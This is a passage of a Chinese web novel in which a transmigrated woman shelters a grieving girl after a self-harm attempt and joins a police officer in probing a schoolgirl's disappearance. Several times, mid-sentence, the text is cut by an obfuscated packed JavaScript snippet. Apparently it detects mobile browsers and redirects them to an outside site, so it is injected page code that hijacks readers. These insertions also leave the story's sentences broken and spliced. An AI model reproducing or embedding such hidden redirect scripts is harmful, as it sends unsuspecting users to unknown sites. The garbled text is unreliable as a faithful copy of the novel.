系统想不明白,却也知道这时候凌逍也不会回答。她大步来到前屋,床上的程小梅已经微微睁开双眼,还带着一丝迷茫,将醒未醒。 凌逍查看了下伤口,松了口气:“没事儿,养个两天结痂就好了。饿了吗?吃点?”丝毫不提之前院子里所见程小梅自残的一幕。 程小梅慢慢眨眼,声音疑惑:“王阿姨?” 凌逍:“哎,反正你家也没人照顾,今晚就在这睡。”她想了想,“要通知你爸妈回来吗?如果你不希望,我就不去做。” 王燕红与邻居的关系实在不算好,两口子辞职去找小女儿之后,更是毫无联系。程小梅也是,从小与隔壁的这王阿姨说话不多。但她还记得王燕红看自己的眼神,总是复杂的,似乎有点羡慕,又有点不屑。她一心学习,没在意过,见面了也礼貌打招呼。 只是去年夏天家里出事了之后,王燕红也曾经来过,装模作样地说要帮忙找孩子。程小梅掺着几乎哭晕、一夜白头的父母,冷冷看着这个眼底有心疼,却夹杂着幸灾乐祸的邻居阿姨,心底有种凉意在寒彻百骸。 但能责怪什么?人之本性,大家都只是看热闹的普通人而已。 她把大学通知书撕碎扔在地上,语气平静:“我们自己找。” “天南海北,全国各地,只要找下去,就一定会找到的。”程小梅对王燕红这样说道。 方才凌逍这样一问,程小梅又沉默起来。她看起来似乎又点心绪混乱,不言不语地打量着凌逍,有种难以接近的小猫的错觉,尾巴一甩一甩的。 凌逍只是耐心在床边守着,视线与程小梅对视时,不禁微笑起来。 程小梅踌躇片刻,艰难掀起被子起身,作势要走。 凌逍一把把她拉了回去,不容拒绝地压住:“不行,你身体现在需要照顾,今晚得在这睡。” 程小梅气极反笑:“王阿姨,谢谢您救了我,但我自己有家,不用劳烦您了!” 凌逍一边惆怅地跟系统念叨:“小孩子真难带”,一边按住程小梅挣扎的身子。 “血还流着呢,和我说这些?还是说我报警比较好,就说隔壁小姑娘自杀了,让人来调查、通知你爸妈?” “死心吧,我今天开始更年期,说什么就是什么!” 程小梅被惊呆了,一时忘了挣扎。 她下意识地望向凌逍的眼眸,以为自己会看到一个气愤的、好奇八卦的、幸灾乐祸的女人。但一抬头,却看见那双曾经充满了复杂情绪的眼睛,此刻只是静静注视着自己。 宁静中又有种熟悉的温度,就好像雪地里燃烧的唯一一道烛光。摇摇晃晃,并不熄灭。 就像晕倒前见到的那道光亮一样。 缠绕程小梅四肢的那股冷意,莫名渐渐消散了。 她喃喃道:“王阿姨……阿姨?” 不知为何,眼睛一眨,大颗的泪珠就流了下来。 凌逍没应声,只是对程小梅低声说:“睡吧。” 她摸了摸小姑娘的发顶,并不擦拭眼泪,任其流淌。 “醒来之后……我有一件很重要,很重要的事情需要问你。” 警方的调查结果到底是什么? 为什么通报上一直是“失踪”的状态?难道尸体一直没有线索? 最重要的是,程小樱“失踪”的当天……到底发生了什么? 床上的女孩再度昏睡过去,气息逐渐平稳。凌逍目光一瞬变得凝重,悠悠看向虚空。 她的手中又凭空出现了那只小铃铛。 她轻轻摩挲着,渐渐陷入低沉私语。 “玛德琳小姐……程小樱,你能像她一样死而复生吗……” “不,还是希望你不要像她一样才好啊……” 4. 凝固的时间(四) 这一夜雨疏风骤,时不时有怒号的风啸卷入小院,吹得树叶飒飒作响。第二天早上,天色阴沉得吓人,叶子落了不少,花草东倒西歪,颇有秋意渐浓、寒杀肃影之感。 凌逍凌晨四点就冒黑去早餐店打工了,冻得瑟瑟发抖,也难为王燕红这么久一直坚持。试探了一圈,果然早餐店的老板都是本分的老实人,没什么和人渣相关的可疑情况。只是提到当年的失踪案时,老两口唏嘘不已。 “真是可怜,当时警车一辆辆地往学校跑,可过一段时间啥也查不出来,还不是没后文了?” “生不见人,死不见尸,真是造孽啊!那么可爱的小女娃,拐子拐走,说不定早就卖到哪个沟沟里了!” 说得言之凿凿。凌逍心里一动:“老板,您见过程小樱?” 老两口说见过照片,在凌逍的询问下又形容了一番相貌,的确对得上,看来记性不错。又神秘兮兮地摆手:“嗨,这离学校不远,有两个小警察附近来回调查了很多次,问八百遍那天的情况了!但我们能有什么情况,也没见过照片上那小女娃那天来过这里呀。” “小警察?” “失踪刚开始那会儿有两个小警察整天来问,再后来就没了……不对,昨天你下班之后还有个小姑娘跑过来打听这事儿。她没穿警服,不过我总觉得是去年的小警察。” “昨天?” “嗯。怪了,都一年多了,怎么偏偏昨天突然又来了呢?” 凌逍又引着老两口说了一些警察询问的事情。八卦了一会儿,有客人陆续来吃早饭,老两口只得叮嘱凌逍继续干活去了。 凌逍若有所思。 看来王燕红并没有提过自己程小樱邻居的事情,否则老两口不会当着邻居的面以这种语气说。 官方明面上的悬案、独自便服行动的女警……就连警方那边的情况,似乎也是扑朔迷离。 仿佛全世界都蒙着一层雾,而真相就如雾里看花一样。 县城的生活节奏总是更早,早餐时间基本结束,凌逍不到八点就回来了,在王燕红的房间坐着闭目养神。要她去李英那臭烘烘的房间睡……嗯,还是守着程小梅比较好。 只是过了一会儿眼睛一睁,浑身便酸疼袭来,甚至有点落枕,看来这具身体真是衰老得太过迅速了,哪哪都难受。 凌逍毫不留情,“咯吱”一声就给自己正骨。正酸爽的时候,就听见系统滋儿哇儿乱叫: “第二天了,别睡了!!距离【任务一】结束时限还有57小时了!” 凌逍:“……哪儿来的闹钟成精了?” 凌逍见程小梅正熟睡,脸色也有几分红润起来,就悄悄去院子里洗漱,却发现院子里的花草下雨后并不飘零,反而绽放着鲜艳的花朵,连那株小树苗都精神抖搜,吹断的枝条明显被人精心包扎过。 后屋的门关着,凌逍没敲门,直接进屋子掀帘子。 李耀成的房间静静的,果然早就去上学了。他平时总是第一个到学校早自习,一般6点就出门了。房子里和昨天一样,一点动过的痕迹都没有,丝毫什么都不曾被窥视、闯入、试探过。凌逍盯着书桌上摞成山的书堆,瞧着那肉眼难以发现的细微空档,不由眯起双眼。 “少了一本吗……” 桌面多处一张纸条,字迹沉稳清秀——“妈,你辛苦了,不用惦记我,好好休息。今晚我和同学吃完再回来。” 凌逍眉头一挑:“还算沉得住气。” 系统探头:“多好的孩子,还记得收拾院子。不过这啥意思?还有李耀成不是很孤僻吗,从来不说学校的事情,哪里会有同学一起吃饭?” 凌逍:“是啊,要不说他很沉得住气嘛。” 系统不明所以。 凌逍从早餐店拿了几个剩下的包子回来,热在锅里。系统瞅着任务栏的时间ddl急得跳脚,凌逍却不急。 “等程小梅醒来再说。还有……我也在等另外一个人。” “早餐要人多一点才有意思嘛。” 正说着,一阵有规律的敲门声传来,落在晃悠悠的铁皮门上。这声音不远不近,风一吹,似有似无,显然敲的是隔壁家门。 凌逍静静等着。 三声,又三声,动作间隔极为准确,也很有耐心。 她听了一会儿,这才笑起来:“大概就是这个人了。” 凌逍出了大门,手里拿了一个葫芦瓢,装作洒水的样子。系统一探头,只见隔壁的确有个姑娘在敲门。 小圆脸、齐耳短发,一对浓眉下双目炯炯有神,看起来二十多岁,一身运动服,一顶鸭舌帽,朝气蓬勃、又不失矫健飒爽风姿。 姑娘手里拿着手机,时不时低头看一眼。她眉宇之间有些焦急,动作却依旧沉稳。凌逍见状,走上前去。 “这家父母不在家,你找谁?” 姑娘回答:“我找程小梅。” 凌逍说:“程小梅昨晚到现在,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796608|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在我家。” 姑娘诧异起来,上上下下看了凌逍几眼,好像想起什么,有点怀疑的样子。 但她没表现出来,语气依旧礼貌:“您是她的邻居吗?不好意思,能让她现在出来吗?我有些私事找她,在您那儿不太方便吧。” “私事?什么时候警方找受害人家属的事也叫私事了?” 凌逍不顾对方陡然一变的神情,点点头道:“不给我看警官证,也是因为这只是私事吗?” “嗯……原来是这样啊,警官?” 姑娘不料对方直接点出身份,猛然抬头,不由厉声喝止:“王燕红——!!” 蓦然一道凌厉的目光射在凌逍身上,方才那礼貌试探的表象刹那不见,好似刀剑出鞘,锐利不可抵挡,目光煌煌有震慑之意。 凌逍却不以为意,只半侧过身,微笑伸手示意。 “请。” 姑娘面色几瞬变换,终究果断大步跟凌逍进入家门。 她低声说道:“我叫梁胜,的确是公安局刑侦大队的警察。王燕红……你怎么知道我是谁?” 情不自禁就带上了局里询问的口吻。 “噢,我知道你是警察,但不知道你叫什么。因为去年夏天走访调查时候,负责调查我家不是你,而是你的同事。” 凌逍走在前面,只留下背影。她语气轻描淡写,但不容置疑。 “梁警官,你大可以不相信我,但我必须相信你。因为——” 凌逍脚步一顿。 梁胜也随之一顿,眉头微蹙,静静停她在身后。 “如果你把那件事当成私事来自行调查的话,那我也可以。” “如果你现在没有调查权限,那我一样没有。” 梁胜神情一冷,似乎想说些什么。 但她最后并没有反驳,只是沉默。 凌逍的声音从风中传来,有些低,有些沉。 “如果你在寻找真相,那我也是。至于缘由,我不问你,你也不必问我。” “我知道你在怀疑什么。因为……我也在怀疑同样的事情。” 凌逍打开前屋的门,让梁胜看到正在沉睡的程小梅。梁胜大步走上前,见程小梅安然无恙,不由松了一口气。 然后,就听见凌逍轻轻地继续说道,以一种极为笃定的语气。 却如平地惊雷炸耳。 “梁警官。” “程小樱的尸体,你还在寻找吗?” 5. 凝固的时间(五) 一股包子香味顺着窗缝漏风,悠悠飘来。 程小梅迷迷糊糊顺着这股味道睁开眼,就见两个小马扎上蹲坐着两个人守在床边,一个是变得很奇怪的邻居阿姨,一个却是她熟悉的梁警官。 梁警官看起来神情复杂,邻居阿姨却不以为意的模样,正大口地啃包子,见自己醒来,还欢快招呼:“小梅,来吃早饭了,牛肉萝卜馅的包子呢!” 程小梅脑子里乱得很,下意识起身的时候,发现手腕一痛。再见到缠得严严实实的纱布时,她不由一愣,看了几眼,便垂眸不说话了。 梁胜见状,叹了口气:“小梅,我知道你这一年不好过,但也不能……” 她又试图安慰:“活着的人的确很难,可还得往前看啊。” 程小梅打断道:“我妹妹也还活着。” 于是梁胜不知道怎么回答这句话了。 程小梅的表情很平静,脸已经瘦得脱相了,已经完全没有曾经意气风发的模样。那双眼眸彻底暗淡了,却依旧有一股执拗的坚持,好似熄灭的灰烬中,再度燃烧起小小的火光。 但梁胜知道,那火焰并不是为了自己,而是以自己为养料,只为了追寻一个或许永远也不可能实现的希望。如果继续这样下去,大概她很快就会把自己燃烧殆尽。 就在昨天,梁胜还在外地办案子,老式摩托罗拉手机上突然接到了程小梅的电话。她只是简简单单地说了这样一句话,就挂了电话。 “这么久了,我还是没有找到小樱,就自己先回家了。我真的有点累。这么长时间谢谢您的帮助了,梁警官。” 梁胜心里一咯噔,刑警的预感让她慌忙跑回来,但程小梅好好地接待了她,神色如常,说没什么别的意思。她回到局里心神不宁,又是把去年的那个案子翻出来,又是私下走访了学校附近的店面,结果还是没什么新收获。 对于警方来说,这是一件普通的悬案。可是对于受害人家属来说,这是一辈子都被迫承受的惨痛。 风雨交加的夜,破晓之际依旧天光暗淡,密布浓云让人莫名不安。她又回想起昨天程小梅的眼神——啊,神色如常啊,可年仅十八岁的小姑娘,怎么会如此痛苦还能神色如常呢? 不对……她是已经撑不下去了,极可能要寻短见! 家里电话一直没人接,梁胜连忙跑到程小梅的家,心急如焚。 没有人。 然后紧接着,就像是命中注定的巧合一样,她看见了邻居的王燕红。 不,好像是王燕红,又好像不是那个人。她的瞳孔那么深,那么黑,还有一股温度,让她感觉莫名的熟悉。 至少在去年夏天,那个人并不是这样的。梁胜看过了所有走访询问笔录和执法视频,王燕红与李英两口子作为邻居,具有极高的证人线索价值,但同时,也有着相应的熟人作案的嫌疑。她提议队长从将这一家三口作为调查重点之一,而笔录根本没有什么有价值的线索,干干净净的,彻底排出了嫌疑犯范围。 但她仍记得王燕红心有余悸的模样:“还好被拐的不是我儿子!” 邻居如此,学校如此,亲朋也如此,无论怎么走访调查,怎么排查监控视频,都没什么线索了。悬而不决的失踪案,给平静的县城带来了极不好的影响。警方成立了专案组,进行了全部尝试,然而投入大量警力物力都无法结案,只好暂时将这案子搁置。 他们唯一能做的,就是将失踪人口信息入库,期待未来的某一日能够从哪里得到程小樱的线索。也许是很多很多年以后,希望是如此的渺茫……但世上有太多的无可奈何,他们固然心痛,却必须将有限的精力投入到新的案件中,去阻止、惩治新的罪恶。 ……但梁胜不这样认为。 “调查中止,那受害人的家属怎么办,一直等一个永远不会来的结果?一个家庭碎了,十八岁的孩子连大学都不去上了,这难道不是我们应该承担起来的责任吗?!” 专案组解散,那她就私下调查,哪怕是违规,她也无法放下这个案子。因为有一种强烈的属于刑警的敏锐直觉告诉她——排出掉一切不可能,那么剩下的可能也会是答案。 去年夏天,警方明明轰轰烈烈做了一次打击拐卖专项行动,可就在专项行动的当口,怎么可能在没有任何线索的情况下,一个十几岁的小姑娘突然就凭空消失了?! 梁胜知道这样做很愚蠢,队长也这样骂过她、 撤了她的权限,可说她天真也好,理想主义也罢,她私下里保持了程小梅的联络,一直没有放弃过秘密寻找…… 寻找尸体的线索。 【梁警官,程小樱的尸体,你还在寻找吗?】 梁胜死死盯着凌逍,突然有一种不可思议的想法蔓延至心头,让她觉得极其荒谬。她似乎想从这张面孔下看出别的什么人,但怎么看,都无法琢磨透。 “王燕红,我们曾经在哪见过吗?” “唔……大概吧,毕竟这个世界很小,不是吗?”凌逍吃着肉包子,坦然任由其打量。 梁胜又看了看她,便不说话了。 “梁警官,我知道你们规矩多,不能泄密。不过……反正你已经违规了,再多点又何妨?噢,难道是怕我举报?还是怕我就是犯人?” “我不会问你们内部的机密,只想知道事发当天的情况。你不说,我问小梅也可以,问其他邻居也可以,去学校问也可以,没准打听到的情报比你们还多。而且,我并不介意动用一些其他私下手段。” 这话的确没错,甚至这起案子轰动过大,很多内容在当时都已经传开了,无法阻拦。警方不可能阻止每个人言语的自由,更何方……现在只有梁胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796609|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人在无权追查而已。 但涉及刑案总是要慎重再慎重的,尤其凌逍行事太过反常,又曾是案件调查的重点,如何确保她私下不会另有行动? “这件事与你无关,为什么要管?”梁胜问。 “因为我接受了玛德琳小姐的委托。”凌逍不假思索地回答。 “什么玛德琳小姐?谁?” “具体的情况嘛……其实现在我也还不完全清楚呢。” 凌逍想了想,补充道:“作为交换,过几天我会给你提供很重要的情报,但前提是我需要确定一些情况。” “警官,就当作是为了小樱和小梅,请相信我吧。” 明明是无厘头的缘由,可偏偏对上凌逍的那双很深、很黑的瞳孔,梁胜一个字也说不出,有种想要立刻信服的冲动。 梁胜不禁犹豫起来。 相信这个人,会导致案子走向更扑朔迷离的方向,会导致更坏的结果吗? 甚至对方……会不会本身就和凶手有关呢?? 却听见程小梅慢慢说: “好。” 程小梅起初只是在一旁安静听着,但此刻,她竟然主动握住凌逍的手,轻轻一晃。 梁胜一愣:“小梅!” 作为受害人的家属,再度回忆当时的事情须有多大的勇气、多少的惨痛,她明白,小梅更是明白,说是日日夜夜锥心蚀骨也不为过! 程小梅看起来有些不安,毕竟刚刚从濒临死亡的黑暗中苏醒,显然很怕。可她仰起头,带着孤注一掷的祈求。 她说:“阿姨,是您救了我一命,我相信您。” “所以,问我吧。” 凌逍慢慢正色起来。 她凝视着程小梅的脸庞,许久几不可闻地叹了口气。 “我和梁警官的推测一样。你的妹妹,恐怕已经……”,在梁胜面色微变的制止中,凌逍没有停顿,反而继续坦诚地说下去。 “恐怕已经死亡。所以,我问的问题有些可能会刺耳,更会让你伤心、无法接受。但是,我们必须找出真相。” “找出真相,让凶手绳之以法,这是我在这里的理由。” “没关系,阿姨,你尽管问。因为我妹妹还活着。” 程小梅依旧平静而坚持:“我们流着同样的血液啊,我能感觉到,她一定还在这个世界上,我会找到她的。” 凌逍只是默不作声,摸了摸她的发顶。 程小樱已经死了,程小梅还活着。 却只是活着。 她的时间,被彻底困在了去年夏天。 从此时间凝固,再也无法向前。 程小梅自言自语重复着。 “她还活着。” 但与此同时,她忽的闭上双眼。 泪珠滚滚而落。 6. 凝固的时间(六) 去年夏天的六月底,北方的小镇迎来最为炎热的时节。高考的硝烟早已结束,年轻的准大学生意气风发,正准备迎接人生灿烂的新阶段,不过年仅初一的少年少女才过上苦日子,正抱怨着暑假怎么还不开始。 程家在学校里很有名,大女儿刚在高考战争中大获全胜,只等着首都的通知书,对于这个年代来说无疑是飞出了金凤凰。小女儿却在初一排名全校倒数。程家父母早前来过学校,说自家小女儿从小就憨,成绩不好也无所谓,长大想做什么做什么,老师们也就睁一只眼闭一只眼。 程家所在的这条石头路,沿着大路正常走20分钟左右就可以到学校。李耀成雷打不动6点去早自习,程小樱则每天7点多才磨蹭出门,路不远,就自己走着去。放学时间则是下午6点整,每天都有值日生排班,如果轮到值日,大概还会晚半个小时回家。夏天日头长,得到了7点多才天黑,家里倒也不担心。 尽管市局联合县局警方刚声势浩大地做了一场拐卖专项打击兼科普活动,但小县城平静多年,安安稳稳的,关注的人很少。毕竟这种只在新闻里听说的事情,对普通人来说实在太过遥远了。 ……可谁也没想到,一旦发生,对于一个家庭来讲,就如巨石崩塌,灭顶之灾。 “6月28号早上,爸妈照常出门上班。我和小樱说今天出去聚餐,晚上会打包好吃的回来,叫她不要在路上磨蹭,必须直接回家等我。” “当时小樱还很开心,说保证放学立刻撒腿往回跑,肯定一分钟都不会晚。她一直很乖很听话,从不会骗爸妈,有什么心思也藏不住,答应的事情也一定会做到。” 这段话程小梅已经向警方重复了无数遍,隔了一年再度说起,陌生而熟悉。恍恍惚惚中,那股细密的疼痛依旧缠得她几乎喘不过气,后悔与自责日日夜夜鞭笞着她的灵魂。 她总是忍不住假设,如果在那个寻常的一天,自己没有去参加什么高考庆功宴,而是去学校接妹妹回家,那该多好啊!! 凌逍问:“什么时候发现小樱不见的?” 程小梅很快回答:“我回到家时将近7点,一般6点半之前小樱就到家了。那时我觉得有点不对劲,不过之前也偶尔有几次她在路上贪玩晚回的情况,所以就把菜热了,又等了会儿。” “就在7点整——爸妈打电话说今晚厂子加班会很晚回来,我特意抬头看了挂钟,心里很不安,告诉他们小樱没回家,赶紧打车回来,我先出去找人。” 但怎么也没想到,从此就再也没见过程小樱的身影。清晨温馨日常的说笑,竟是姐妹间的最后一次对话。 凌逍一边问,一边捋着时间线。程小梅说所的当天情况,与在王燕红的记忆中的确所有吻合,她复原了潜意识,将之明晰到最大化。 案发当晚7点20分,天已经黑了。按照惯常的作息,王燕红和李耀成吃过晚饭,一个去自己屋子里学习,一个就得洗漱准备去睡了,毕竟第二天还要去上早班。正在院子里收拾着,矮墙那头突然传来紧迫的声音。 只见程家父母十分焦急:“燕红啊,有没有看见我家小樱?” “小点声,我儿子正里面学习呢”,王燕红有点不乐意,打算直接去睡觉,但有种八卦的心情驱使她凑过去,“没看见啊,咋的,没回家?” 程家父母的脸上愈发绝望:“小梅把我们叫回来,说孩子没回家,她去学校找,学校里好像也没有。放学的时候,你家耀成有看见我们小樱吗?有没有说她去哪儿?” 竟然控制不住地大哭起来。 这时李耀成也掀帘子出来,有些诧异:“今天我值日,不太清楚。不过放学时候看见小樱直接走了,走得挺快的,也没听她提过要去哪儿。 “怎么了,小樱还没回来吗?” 王燕红琢磨这里事情不对劲儿,赶紧撵儿子继续回去学习,自己则又问了几句,就见程家父母一边哭一边出门了。一夜隔壁铁门关了又开,开了又关,叮叮当当,晚上9点多的时候隐约听到警笛尖锐呼啸,令人心惊不安。 等她上午8点多回来,就看见两辆警车停在大门口了。 一个人高马大的刑警询问王燕红昨天的情况,王燕红立刻都说了,但也就是昨晚看见的隔壁情况。第三天,他又来调查,王燕红都快把祖宗八辈说清了,又颤巍巍地问:“程小樱失踪了啊?” 男刑警很严肃:“具体不能多说。有什么线索及时告诉我们。” 王燕红心有余悸:“是不是最近有拐子啊?怪不得你们搞什么专项行动……幸好被拐的不是我儿子!” 男刑警冷冰冰瞪了她一眼,没搭这茬,继续问:“昨天你人在什么地方?你家男人呢?你儿子呢?” 李英成天到晚在外面喝酒,隔三差五去市里打零工,这几天都一直没着家,王燕红也不知道他在哪儿。她和李耀成母子的生活极其规律,一个去早餐店,一个去上学,时间上清清楚楚的。男警察来了几次,王燕红没什么好隐瞒的,答了几次,最后就没信儿了。 “晚上7点出门的啊……” 凌逍仔细听着,默默对照着时间线,又问程小梅,“你7点出门,都去了哪里找人了?” 这些警方也问过很多次,那一天的每一个行动、每一个角落都印刻在了心里,程小梅同样无需思考就回答,“我在石头路上一边跑一边找,路上没有人,我10分钟就跑到了学校。” “小巷子里面找过吗?”凌逍问。 “当时我没去看,再后来才和爸妈一起去看了,没人。小樱很听话,从来不去后巷,我当时太着急了,也没想那么多,就直接顺着大路边找边去了学校。” “学校里老师都下班了,只有保安。保安说学生们6点半前值日生就已经走完了,刚刚每个班级已经巡查过,彻底关灯锁门了。我进去看,初一(三)班里面的确一个人都没有。我又打电话给小樱班主任,班主任说会不会孩子藏起来了,她过来我们一起学校里找,最后也没找到。” 凌逍一边听着,一边在纸上飞速做笔记。闻言又突然问道:“学校大门口那有监控吗?” 程小梅一愣,略带不安地看向梁胜:“有是有的,当时我和班主任也去保安室查了,不过监控实在看不清,我们又着急去找人……” 紧接着第二天,那段监控视频第二天就由警方接手了。问了很多次,他们只说对程家说还没有小樱的踪迹,就没再透露任何证据细节。 梁胜方才一直沉默不语,只是时不时神色奇异地观察着凌逍。接收到程小梅的求救讯号,她不由拧眉,陷入激烈的自我交战中。 而目光在接触到对方手腕上染血的纱布时,心里宛如被什么东西重重一击,难过,难堪,又迫切地希望去为了她去做些什么—— “今天我说的话,不涉及警方内部机密,也不代表警方的立场。如果最后结果证明,我相信错了人……”梁胜深吸一口气,慢慢把警察证掏出来。 “我愿意承担起一切后果。” 梁胜放下警察证,说道:“不错,学校大门口有监控,而且我们发现了程小樱的身影。” 这所初中学生很多,赶上警方开展打击拐卖专项活动的档口,要求学校加强监控,于是校门口安了两个黑白监控摄像头,算是应付交差。这时候没有天网,也没有发达的设备,在县城来说已经算是合格的装备了。放学时间,上千学生涌出学校,一左一右摄摄像头下,蹦蹦跳跳的身影乍一看都差不多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“阳街上的商店、餐馆、新开的小酒吧……”凌逍顺着接道,“那天小樱肯定是打算回家吃饭的,所以不可能去餐馆。商店……如果说是文具店还好,难道她要买些其他东西,而且这些东西重要紧迫至极,以至于可以打破和姐姐的约定?” “如果不是这些地方,那就酒吧了。可初一的学生,平时又乖巧听话,怎么会突然在这种日子,想起非要去什么酒吧?” “不管是哪种情况,小樱的行为都有些反常。” 凌逍在对方越来越不可思议、复杂的目光中,似乎懒得掩饰自己,只是抽丝剥茧分析着梁胜这一年来日夜思考的事情。 凌逍慢慢眯起双眼。 “梁警官,你是在怀疑,程小樱与谁约好了……是要去见什么人吗?” 阴沉沉的光线透过窗户落入屋中,那股冷风也愈发强烈,窗檐叮当作响,紧迫催促式地敲击在了这间屋子三个人的心底。 梁胜心里陡然一惊,有种反而被前辈审问的错觉:“是,我是这样怀疑的。” 如果这不是一起单纯的拐卖失踪案,那么一定会有人曾经接触过程小樱。甚至这个人,在当天她反常的举止中起到了极其重要的作用! 程小樱要去哪里?既然和姐姐约好了,为什么不直接回家? 还有监控视频上,复原之后依旧模糊的侧脸。模糊,但一股青春洋溢地气息隔着屏幕传来,是阻挡不住的少女羞涩明媚的笑意,还有满脸的懵懂期待。 她为什么这样笑……是因为一个人吗? 这个人,到底是不是真正存在的!! 梁胜咬紧牙关。她没有证据,只有直觉,可正是这股直觉让她在无数个案件中掌握关键,又在这一起悬案中让她日夜难安。她怀疑极了,可是没有人相信,或者说,没有相信的理由。 她闭了闭眼,忍不住似吼地喊出来。 “我怀疑这是一场有预谋的谋杀。” “而凶手,正是程小樱认识的……不,是她熟悉的人!” 7. 凝固的时间(七) 事已至此,梁胜也没什么好隐瞒的了。一年多了,生不见人,死不见尸,保密还能怎么样,难道要让这种无能为力持续一辈子吗? 所有人毫无头绪不得不放弃,只有梁胜仍在契而不舍地私下追查着。尽管已经时隔一年多,可每一件笔录、每一帧画面,对于梁胜来说依旧是历历在目。 只是她隐隐有预感,她所追查的……很可能是一个对所有人来说,都极其可怕的答案。 【6.28失踪案】——当时的专案组是这样称呼的。前后历时一个多月,综合走访调查,警方通宵达旦做了一切能做的,的确无可指摘。可偏偏所有证据加在一起,普普通通,干干净净,甚至干净到了让梁胜感觉诡异的程度。 首先是监控记录。 案发当天6点05分,程小樱出现在了校门口的监控视频中,却没有直接回家,而显示往反方向走去。 梁胜发现了,情报组联合刑侦大队也发现了这一可疑情形,迅速展开沿途监控视频追踪布控,甚至请到了市里的专家帮忙。可毕竟这个县城实在落后,此时监控视频又没有那么普及,只有学校、大的十字路口等处才会布控,而私人商户布置得少之又少。他们日夜走访排查,结果并不可观。 程小樱的身影消失在校门口。那附近的小路交错纵横,是80年代老旧贫民窟所在,占地广阔,从石头路一直到阳街和阴山,至今仍未彻底拆除。 幸好两三年前,大部分的小路都已经彻底荒废,无人居住,要么用木板挡住了去路,要么已经杂草荆棘丛生、无法穿行,再就是两边坍塌的老旧瓦房落下,阴森可怖,让人心生怯意,绝对算得上人迹罕至。 不过有一条还算干净的小路除外——这条路,正是连着初中与阳街的近路,大部分人其实都会绕路去大路,也费不了几步路,但偶尔也有胆大的学生选择抄近道去阳街买东西、吃饭,算是必经之路。 梁胜泡在情报组同事的办公室,也许多次实地调查,仍一无所获。小路上自然没有监控摄像头,小路连着阳街的那个路口,官方也还没来得及装摄像头,沿街商户更是没有。 梁胜沉吟道:“除了阳街尽头新开的那间小酒吧……老板年轻,说怕客人闹事,倒是装了一个监控。” 凌逍问:“有什么发现吗?” 梁胜点点头,而又摇头。 不知不觉中,凌逍已经彻底掌握了主导权,耐心引导道:“没关系,你只管先说客观的情况。” 梁胜不禁迟疑回答:“说来也巧,案发那天,正是酒吧第一天开业。监控摄像头就在大门上,来往的人应该都能拍到。” “人不少,我们把那天酒吧的监控视频一直查到了9点,也没看到程小樱经过那里。所以结论很明显,如果真的到了阳街,她要么没去酒吧,要么只去了酒吧之前的那些商店。我们挨家挨户走访了阳街的商户,要么说没印象,要么说没见过。所以,我猜测她是想去阳街的,甚至是和某人有约,可就在去的路上……”离奇消失了。 程小梅听得心中痛极,不禁哽咽道:“我妹妹绝对不会去什么酒吧的!她那么乖,明明答应过我的……” 梁胜踌躇不忍:“对不起,小梅,我只是习惯性地先假设一切可能……毕竟当天酒吧第一天开业,初中生想要尝试新鲜,也是正常的,不止一个学生这样啊……再说了,她不一定是去酒吧的,也可能是打算去其他商店,只不过人在路上就……” 专案组虽然觉得有些蹊跷,但凡事凭证据说话。也正是因为这段视频,让专项组将追查重点放在小路内部——极有可能就在去阳街的这条小路上,程小樱遇到了某种危险,她被带走了,对方通过复杂且没有监控的内部交错小巷带离这片土地,甚至是带到了遥远的其他省市。 根据现有的监控视频、证人证言,梁胜曾经的推理其实与专案组大部分吻合,只是一股直觉的怀疑促使她继续追查。乍一看清晰无比,实则身处迷雾之中,处处想要突破这团迷雾,却处处无从下手。 县城说小不小,说大不大,凌逍有王燕红的记忆和潜意识,很快调取了从小到大印象中的所有路径。她在纸上飞速记录着,纸上突然多出了条条道道的线,繁密的线纵横交错,还有些看不懂的文字。 她就那样盯着,渐渐陷入沉思。 梁胜屏息凝神,直到这屋子里的空气也几乎凝滞,她一时不知该不该继续“泄密”下去,便见凌逍头也不抬地突然追问。 “梁警官,我有两个问题需要你回答。” “第一,你们刑侦大队花费了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796611|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量人力物力,沿街走访,为什么偏偏案发当天酒吧的监控视频,只查到了晚上9点钟呢?” “9点的时候,酒吧那边发生了什么事情?你们最后将案发时间定在了晚上6点05分到9点钟,案发地点定在了小路到阳街的小路,以此时间段、地点进行地毯式搜索排查,对不对?” 梁胜陡然一惊! 